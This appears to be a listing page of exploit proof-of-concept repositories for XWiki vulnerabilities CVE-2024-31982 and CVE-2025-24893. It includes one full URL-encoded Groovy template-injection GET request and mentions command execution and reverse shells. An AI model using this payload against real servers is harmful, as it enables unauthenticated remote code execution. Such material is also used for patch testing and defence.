CVE-2024-31982

CVE-2024-31982 Java SSTI - Lead to RCE async async=falsegroovyprintln"Successful Injection"/groovy/ GET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Successful%20Injection%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2F HTTP/1.1...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit Unauth RCE PoC for XWiki SolrSearch CVE-2025-24893. Command exec + reverse shell. CVE-2025-24893 – XWiki SolrSearch RCE PoC Proof-of-concept for the XWiki SolrSearch template injection leading to unauthenticated remote code execution. Tested against XWiki Debian 15.10.8...

Exploit for Code Injection in Xwiki

CVE-2025-24893 — XWiki Unauthenticated RCE PoC Proof-of-Con...